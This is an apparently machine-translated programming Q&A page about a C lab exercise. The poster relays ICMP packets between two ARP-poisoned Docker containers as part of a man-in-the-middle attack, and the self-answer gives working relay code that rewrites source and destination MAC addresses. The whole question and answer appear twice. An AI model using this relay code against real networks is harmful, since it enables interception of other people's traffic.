使用 ping 回显请求在 C 中进行中间人攻击
Man in the Middle attack in C with ping echo request
我在 C 中实施中间人攻击。共有三个 docker 容器:主机 A(发送方)、主机 B(接收方)和主机 M(攻击方)。
我的 objective 是从主机 A ping 主机 B,但在 M 嗅探来自 A 的回显请求,然后将回显请求从 M 中继到 B。
我已经做过ARP中毒了。 ICMP 数据包正在从 A 发送到 M。现在我正在尝试将回声请求从 M 中继到 B。有趣的事实是:数据包也在被中继,但是 A 每 5 秒发送 1 个回声请求( ping -i 5 IP-hostB
), M 正在向主机 B 发送回显请求。为什么会这样?我仅在 M 收到回显请求时才中继数据包。那么M是从哪里获取到relay的flooded echo request呢?
编辑 在使用同一个套接字接收和发送数据包后,ping 泛洪现已停止。但是现在回声请求正在从 M 正确地中继到 B(最初从 A 发送)。但是主机 B 没有为这些回声响应发送回声回复。我使用 tcpdump
检查 B 是否收到回显请求,B 确实收到了请求。那么为什么 B 不发回回复呢?我认为这是因为 B 的 arp 缓存中毒了。但是我在主机 B 上做了 arp -a
,它知道主机 A 的 MAC 地址是什么。
知道是什么导致 B 不发送回显回复吗?
相关中继代码:
static unsigned short compute_checksum(unsigned short *addr,
unsigned int count);
static uint16_t icmp_checksum(const uint16_t *const data,
const size_t byte_sz);
void relay_icmp_packet(unsigned char* buffer, int size);
int main()
{
int saddr_size, data_size;
struct sockaddr saddr;
unsigned char *buffer = (unsigned char *) malloc(65536);
int sock_raw = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
//setsockopt(sock_raw , SOL_SOCKET , SO_BINDTODEVICE , "eth0" , strlen("eth0")+ 1 );
if(sock_raw < 0) {
//Print the error with proper message
perror("Socket Error");
return 1;
}
while(1) {
saddr_size = sizeof saddr;
//Receive a packet
data_size = recvfrom(sock_raw, buffer, 65536, 0,
&saddr, (socklen_t*)&saddr_size);
// data_size = recv(sock_raw, buffer, 65536, 0);
if(data_size <0 ) {
printf("Recvfrom error , failed to get packets\n");
return 1;
}
relay_icmp_packet(buffer, data_size);
}
close(sock_raw);
printf("Finished");
return 0;
}
void relay_icmp_packet(unsigned char* buffer, int size)
{
// Host A -> IP: 10.9.0.6 MAC: 02:42:0a:09:00:05
// Host B -> IP: 10.9.0.6 MAC: 02:42:0a:09:00:06
// Host M -> IP: 10.9.0.105 MAC: 02:42:0a:09:00:69
int sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
struct ethhdr *eth = (struct ethhdr *)buffer;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X06;
struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
unsigned short iphdrlen =iph->ihl*4;
if (iph->protocol != 1) return;
memset(&source, 0, sizeof(source));
source.sin_addr.s_addr = iph->saddr;
// printf("%s\n", inet_ntoa(source.sin_addr));
if (!(iph->saddr == inet_addr("10.9.0.5")
&& iph->daddr== inet_addr("10.9.0.6")))
return;
struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + sizeof(struct ethhdr));
compute_ip_checksum(iph);
icmph->checksum = 0;
icmph->checksum = icmp_checksum((uint16_t *)icmph, sizeof(icmph));
struct sockaddr_ll device;
memset(&device, 0, sizeof device);
device.sll_ifindex = if_nametoindex("eth0");
int ret = -5;
// ret = send(sockid, eth, size, 0);
ret = sendto(sockid, eth, size, 0,
(const struct sockaddr *)&device, sizeof(device));
}
/* Checksum functions are written here; removed for better readability. I checked with Wireshark: the functions calculate valid checksums. And I'm altering only Ethernet header fields, so the checksum wouldn't change anyway. */
我通过更改中继数据包的以太网解决了这个问题header。最初我以为我只需要更改目标 MAC 地址,因为目标 IP 已经正确。但实际上它更简单。让我重申一下这个场景。
共有三台主机:A、B、M,其中M为攻击者。 A 和 B 的 ARP 缓存中毒,以至于 A 认为 B 的 MAC 地址是 MACM 而 B 认为 A 的 MAC 地址是 MACM.
当A向B发送ICMP数据包时,它会转到M。M需要将源MAC更改为MACM,目标MAC到MACB,因为通过ARPB,B认为MACM 实际上是A的MAC地址。
因此,当最初我只更改目标 MAC 地址时,B 收到了 ICMP 回显请求但由于源 IP 和源 MAC 不匹配而将其丢弃B的ARP缓存。
修复后,以下工作正常。
void relay_icmp_packet(int sockid, unsigned char* buffer, int size)
{
// sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
struct ethhdr *eth = (struct ethhdr *)buffer;
unsigned short ethdrlen = sizeof(struct ethhdr);
struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
unsigned short iphdrlen =iph->ihl*4;
if (iph->protocol != 1) return;
if (iph->saddr == inet_addr("10.9.0.5")
&& iph->daddr== inet_addr("10.9.0.6")) {
eth->h_source[0] = 0X02;
eth->h_source[1] = 0X42;
eth->h_source[2] = 0X0A;
eth->h_source[3] = 0X09;
eth->h_source[4] = 0X00;
eth->h_source[5] = 0X69;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X06;
} else if (iph->saddr == inet_addr("10.9.0.6")
&& iph->daddr== inet_addr("10.9.0.5")) {
eth->h_source[0] = 0X02;
eth->h_source[1] = 0X42;
eth->h_source[2] = 0X0A;
eth->h_source[3] = 0X09;
eth->h_source[4] = 0X00;
eth->h_source[5] = 0X69;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X05;
} else {
printf("FUCK\n");
return;
}
struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + ethdrlen);
int header_size = sizeof(struct ethhdr) + iphdrlen + sizeof icmph;
iph->check = 0;
iph->check = compute_checksum((uint16_t*)iph, iphdrlen);
icmph->checksum = 0;
icmph->checksum = compute_checksum((uint16_t *)icmph,
size - ethdrlen - iphdrlen);
struct sockaddr_ll device;
memset(&device, 0, sizeof device);
device.sll_ifindex = if_nametoindex("eth0");
int ret;
ret = sendto(sockid, eth, size, 0,
(const struct sockaddr *)&device, sizeof(device));
if (ret > 0) {
printf("[%d] ICMP packet relayed to ", ret);
PRINT_MAC_ADDRESS(stdout, eth->h_dest);
}
// close(sockid);
}
我在 C 中实施中间人攻击。共有三个 docker 容器:主机 A(发送方)、主机 B(接收方)和主机 M(攻击方)。
我的 objective 是从主机 A ping 主机 B,但在 M 嗅探来自 A 的回显请求,然后将回显请求从 M 中继到 B。
我已经做过ARP中毒了。 ICMP 数据包正在从 A 发送到 M。现在我正在尝试将回声请求从 M 中继到 B。有趣的事实是:数据包也在被中继,但是 A 每 5 秒发送 1 个回声请求( ping -i 5 IP-hostB
), M 正在向主机 B 发送回显请求。为什么会这样?我仅在 M 收到回显请求时才中继数据包。那么M是从哪里获取到relay的flooded echo request呢?
编辑 在使用同一个套接字接收和发送数据包后,ping 泛洪现已停止。但是现在回声请求正在从 M 正确地中继到 B(最初从 A 发送)。但是主机 B 没有为这些回声响应发送回声回复。我使用 tcpdump
检查 B 是否收到回显请求,B 确实收到了请求。那么为什么 B 不发回回复呢?我认为这是因为 B 的 arp 缓存中毒了。但是我在主机 B 上做了 arp -a
,它知道主机 A 的 MAC 地址是什么。
知道是什么导致 B 不发送回显回复吗?
相关中继代码:
static unsigned short compute_checksum(unsigned short *addr,
unsigned int count);
static uint16_t icmp_checksum(const uint16_t *const data,
const size_t byte_sz);
void relay_icmp_packet(unsigned char* buffer, int size);
int main()
{
int saddr_size, data_size;
struct sockaddr saddr;
unsigned char *buffer = (unsigned char *) malloc(65536);
int sock_raw = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
//setsockopt(sock_raw , SOL_SOCKET , SO_BINDTODEVICE , "eth0" , strlen("eth0")+ 1 );
if(sock_raw < 0) {
//Print the error with proper message
perror("Socket Error");
return 1;
}
while(1) {
saddr_size = sizeof saddr;
//Receive a packet
data_size = recvfrom(sock_raw, buffer, 65536, 0,
&saddr, (socklen_t*)&saddr_size);
// data_size = recv(sock_raw, buffer, 65536, 0);
if(data_size <0 ) {
printf("Recvfrom error , failed to get packets\n");
return 1;
}
relay_icmp_packet(buffer, data_size);
}
close(sock_raw);
printf("Finished");
return 0;
}
void relay_icmp_packet(unsigned char* buffer, int size)
{
// Host A -> IP: 10.9.0.6 MAC: 02:42:0a:09:00:05
// Host B -> IP: 10.9.0.6 MAC: 02:42:0a:09:00:06
// Host M -> IP: 10.9.0.105 MAC: 02:42:0a:09:00:69
int sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
struct ethhdr *eth = (struct ethhdr *)buffer;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X06;
struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
unsigned short iphdrlen =iph->ihl*4;
if (iph->protocol != 1) return;
memset(&source, 0, sizeof(source));
source.sin_addr.s_addr = iph->saddr;
// printf("%s\n", inet_ntoa(source.sin_addr));
if (!(iph->saddr == inet_addr("10.9.0.5")
&& iph->daddr== inet_addr("10.9.0.6")))
return;
struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + sizeof(struct ethhdr));
compute_ip_checksum(iph);
icmph->checksum = 0;
icmph->checksum = icmp_checksum((uint16_t *)icmph, sizeof(icmph));
struct sockaddr_ll device;
memset(&device, 0, sizeof device);
device.sll_ifindex = if_nametoindex("eth0");
int ret = -5;
// ret = send(sockid, eth, size, 0);
ret = sendto(sockid, eth, size, 0,
(const struct sockaddr *)&device, sizeof(device));
}
/* Checksum functions are written here; removed for better readability. I checked with Wireshark: the functions calculate valid checksums. And I'm altering only Ethernet header fields, so the checksum wouldn't change anyway. */
我通过更改中继数据包的以太网解决了这个问题header。最初我以为我只需要更改目标 MAC 地址,因为目标 IP 已经正确。但实际上它更简单。让我重申一下这个场景。
共有三台主机:A、B、M,其中M为攻击者。 A 和 B 的 ARP 缓存中毒,以至于 A 认为 B 的 MAC 地址是 MACM 而 B 认为 A 的 MAC 地址是 MACM.
当A向B发送ICMP数据包时,它会转到M。M需要将源MAC更改为MACM,目标MAC到MACB,因为通过ARPB,B认为MACM 实际上是A的MAC地址。
因此,当最初我只更改目标 MAC 地址时,B 收到了 ICMP 回显请求但由于源 IP 和源 MAC 不匹配而将其丢弃B的ARP缓存。
修复后,以下工作正常。
void relay_icmp_packet(int sockid, unsigned char* buffer, int size)
{
// sockid = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
struct ethhdr *eth = (struct ethhdr *)buffer;
unsigned short ethdrlen = sizeof(struct ethhdr);
struct iphdr *iph = (struct iphdr *)(buffer + sizeof(struct ethhdr));
unsigned short iphdrlen =iph->ihl*4;
if (iph->protocol != 1) return;
if (iph->saddr == inet_addr("10.9.0.5")
&& iph->daddr== inet_addr("10.9.0.6")) {
eth->h_source[0] = 0X02;
eth->h_source[1] = 0X42;
eth->h_source[2] = 0X0A;
eth->h_source[3] = 0X09;
eth->h_source[4] = 0X00;
eth->h_source[5] = 0X69;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X06;
} else if (iph->saddr == inet_addr("10.9.0.6")
&& iph->daddr== inet_addr("10.9.0.5")) {
eth->h_source[0] = 0X02;
eth->h_source[1] = 0X42;
eth->h_source[2] = 0X0A;
eth->h_source[3] = 0X09;
eth->h_source[4] = 0X00;
eth->h_source[5] = 0X69;
eth->h_dest[0] = 0X02;
eth->h_dest[1] = 0X42;
eth->h_dest[2] = 0X0A;
eth->h_dest[3] = 0X09;
eth->h_dest[4] = 0X00;
eth->h_dest[5] = 0X05;
} else {
printf("FUCK\n");
return;
}
struct icmphdr *icmph = (struct icmphdr*)(buffer + iphdrlen + ethdrlen);
int header_size = sizeof(struct ethhdr) + iphdrlen + sizeof icmph;
iph->check = 0;
iph->check = compute_checksum((uint16_t*)iph, iphdrlen);
icmph->checksum = 0;
icmph->checksum = compute_checksum((uint16_t *)icmph,
size - ethdrlen - iphdrlen);
struct sockaddr_ll device;
memset(&device, 0, sizeof device);
device.sll_ifindex = if_nametoindex("eth0");
int ret;
ret = sendto(sockid, eth, size, 0,
(const struct sockaddr *)&device, sizeof(device));
if (ret > 0) {
printf("[%d] ICMP packet relayed to ", ret);
PRINT_MAC_ADDRESS(stdout, eth->h_dest);
}
// close(sockid);
}